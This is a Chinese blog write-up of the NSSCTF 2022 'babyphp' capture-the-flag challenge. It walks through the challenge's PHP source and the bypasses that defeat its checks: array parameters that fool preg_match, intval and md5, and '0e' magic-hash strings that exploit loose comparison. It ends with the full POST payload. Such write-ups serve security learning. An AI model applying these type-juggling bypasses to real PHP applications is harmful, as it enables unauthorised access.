记一次[NSSCTF 2022 Spring Recruit]babyphp

打开题目,显示如下代码

 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

通过观察代码,可发现需要通过四个if判断才能拿到我们的flag

首先第一个if

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

这里我使用的是数组绕过,传参 a[]=1

 

第二个if与第三个if在此处一同分析

if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

第二个if,将b1与b2设置值即可通过

第三个if,这里要求b1!=b2,但是又要求md5值相同,在这里也同样是用到了数组绕过,如果md5() 中传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较(===)里面null=null为true绕过,b1与b2设置不同的值即可,此处传参 b1[]=1&b2[]=2 即可绕过

 

第三个if

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

此处是php的弱比较

例如

<?php
$a="s878926199a";
$b="s155964671a";
if($a!=$b&& md5($_POST['a'])==md5($_POST['b'])){
	echo ("success!");
}
else echo ("failed");
?>

输出结果

success!

$a和$b都传入md5()后,得到值为0e开头的数据,会将其识别为科学计数法,结果都为零

此处附上一位大佬的 0e开头MD5值小结

第四个if 传参 c1=s878926199a&c2=s155964671a

最后本题使用post传入以下参数

a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a

结果

0270fccdde634b949479c6ababd6a0d3.png

拿到flag 

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值